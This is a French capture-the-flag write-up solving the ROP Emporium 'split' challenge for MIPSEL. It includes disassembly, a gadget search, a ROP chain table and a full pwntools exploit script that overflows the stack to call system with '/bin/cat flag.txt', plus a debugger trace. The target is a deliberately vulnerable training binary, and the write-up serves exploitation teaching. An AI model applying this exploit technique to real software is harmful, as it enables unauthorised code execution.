Contents

Ropemporium mipsel split

split MIPSEL

Introduction.

Dans ce second exercice on doit passer une argument à la fonction appelée. L’argument est présent dans le programme

Execution du programme avec qemu

ropemporium/mipsel/split$ qemu-mipsel split_mipsel split by ROP Emporium MIPS

Contriving a reason to ask user for data…

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thank you! qemu: uncaught target signal 11 (Segmentation fault) - core dumped Erreur de segmentation

Analyse

Ce gadget permet de charger t9 et a0 avec le contenu de la pile et appeller t9.

Le programme contien aussi la fonction usefulFunction qui appelle system("/bin/ls").

[0x00400a20]> s sym.usefulFunction
[0x004009c8]> pdf
┌ 84: sym.usefulFunction (int32_t arg1, int32_t arg_10h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg1 @ a0
│           0x004009c8      e0ffbd27       addiu sp, sp, -0x20
│           0x004009cc      1c00bfaf       sw ra, (var_1ch)
│           0x004009d0      1800beaf       sw fp, (var_18h)
│           0x004009d4      25f0a003       move fp, sp
│           0x004009d8      42001c3c       lui gp, 0x42                ; 'B'
│           0x004009dc      30909c27       addiu gp, gp, -0x6fd0
│           0x004009e0      1000bcaf       sw gp, (var_10h)
│           0x004009e4      4000023c       lui v0, 0x40                ; '@'
│           0x004009e8      880c4424       addiu a0, v0, 0xc88         ; 0x400c88 ; "/bin/ls" ; arg1 ; str._bin_ls
│===>       0x004009ec      5480828f       lw v0, -sym.imp.system(gp)  ; [0x411084:4]=0x400b70 sym.imp.system
│           0x004009f0      25c84000       move t9, v0
│           0x004009f4      09f82003       jalr t9
│           0x004009f8      00000000       nop
│           0x004009fc      1000dc8f       lw gp, (var_10h)
│           0x00400a00      00000000       nop
│           0x00400a04      25e8c003       move sp, fp
│           0x00400a08      1c00bf8f       lw ra, (var_1ch)
│           0x00400a0c      1800be8f       lw fp, (var_18h)
│           0x00400a10      2000bd27       addiu sp, sp, 0x20
│           0x00400a14      0800e003       jr ra
└           0x00400a18      00000000       nop

La chaine de caractère utile est disponible dans le code.

[0x004009c8]> ps @obj.usefulString /bin/cat flag.txt

Construction de l’attaque.

Notre objectif va être d’appeller la fonction system en appellant l’adresse 0x004009ec avec en paramètre l’adresse la la chaine “/bin/cat flag.txt”.

Pour passer le paramêtre il nous faut charger le registre a0 avec l’adresse 0x004009c8.

Recherche de gadgets

Gadgets présents dans le programme :

[0x00400a20]> pd 10
        ;-- usefulGadgets:
        0x00400a20      0800a48f       lw a0, 8(sp)
        0x00400a24      0400b98f       lw t9, 4(sp)
        0x00400a28      09f82003       jalr t9
        0x00400a2c      00000000       nop

Ca gadget pourrait être trouvé avec ROPgadget en recherchant le moyen de charge $0 :

mipsel/split$ grep "lw \$a0" ropgadgets.txt
0x00400a10 : addiu $sp, $sp, 0x20 ; jr $ra ; nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a14 : jr $ra ; nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a0c : lw $fp, 0x18($sp) ; addiu $sp, $sp, 0x20 ; jr $ra ; nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a08 : lw $ra, 0x1c($sp) ; lw $fp, 0x18($sp) ; addiu $sp, $sp, 0x20 ; jr $ra ; nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a04 : move $sp, $fp ; lw $ra, 0x1c($sp) ; lw $fp, 0x18($sp) ; addiu $sp, $sp, 0x20 ; jr $ra ; nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a1c : nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400a18 : nop ; nop ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

On a bien notre gadget en 0x00400a20.

La ropchaine

ROP entry comment
0x00400a20 lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x004009ec appel system
0x004009c8 @ /bin/cat flag.txt

Exploitation

Script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# Set up pwntools for the correct architecture
elf = context.binary = ELF('split_mipsel')

usefulString = elf.symbols["usefulString"]
usefulFunction = elf.symbols["usefulFunction"]

gs='''
b *pwnme+204
c
'''

g_lwa0t9 = 0x400a20

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


time.sleep(.5)


io.recvuntil(b"> ")

system = elf.got['system']

log.info(f"{usefulString=:x}")
system = usefulFunction+36

PL=0x24*b"A"+p32(g_lwa0t9)+p32(0)+p32(system)+p32(usefulString)
io.sendline(PL)
io.interactive()

Execution

Point d’arret en fin de pwnme

─────────────────────────────────────────────────────────── code:mips:MIPS32 ────
    0x4009b4 <pwnme+192>      lw     ra, 60(sp)
    0x4009b8 <pwnme+196>      lw     s8, 56(sp)
    0x4009bc <pwnme+200>      addiu  sp, sp, 64
→   0x4009c0 <pwnme+204>      jr     ra
↳    0x400a20 <usefulGadgets+0> lw     a0, 8(sp)
        0x400a24 <usefulGadgets+4> lw     t9, 4(sp)
        0x400a28 <usefulGadgets+8> jalr   t9
        0x400a2c <usefulGadgets+12> nop
        0x400a30 <__libc_csu_init+0> lui    gp, 0x2
        0x400a34 <__libc_csu_init+4> addiu  gp, gp, -31232

gef➤ i r
        zero       at       v0       v1       a0       a1       a2       a3
R0   00000000 00000001 0000000b ffffffff 3fface2c ffffffff 00000001 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
R8   00000008 000005f7 3ffc7860 3ffff300 3fe25070 00000000 3fe1b780 0000000c
            s0       s1       s2       s3       s4       s5       s6       s7
R16  00000000 00400a30 00000000 00000000 00000000 00000000 3ffff300 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
R24  00000000 3fe95af0 00000000 00000000 00419030 40800320 41414141 00400a20
            sr       lo       hi      bad    cause       pc
    24000010 001f8de0 000001a1 00000000 00000000 004009c0
        fsr      fir
    00000000 00739300


gef➤  i r a0
a0: 0x411010

gef➤  ni

    0x400a1c                  nop
    0x400a20 <usefulGadgets+0> lw     a0, 8(sp)
    0x400a24 <usefulGadgets+4> lw     t9, 4(sp)
→   0x400a28 <usefulGadgets+8> jalr   t9
    0x400a2c <usefulGadgets+12> nop

gef➤  i r $a0 $t9
a0: 0x411010
t9: 0x4009ec

gef➤  si
    0x4009e0 <usefulFunction+24> sw     gp, 16(sp)
    0x4009e4 <usefulFunction+28> lui    v0, 0x40
    0x4009e8 <usefulFunction+32> addiu  a0, v0, 3208
→   0x4009ec <usefulFunction+36> lw     v0, -32684(gp)

On a appelle bien l’adresse attendue.

gef➤  continue

Sur le’ecran d’appel du programme :

ROPE{a_placeholder_32byte_flag!}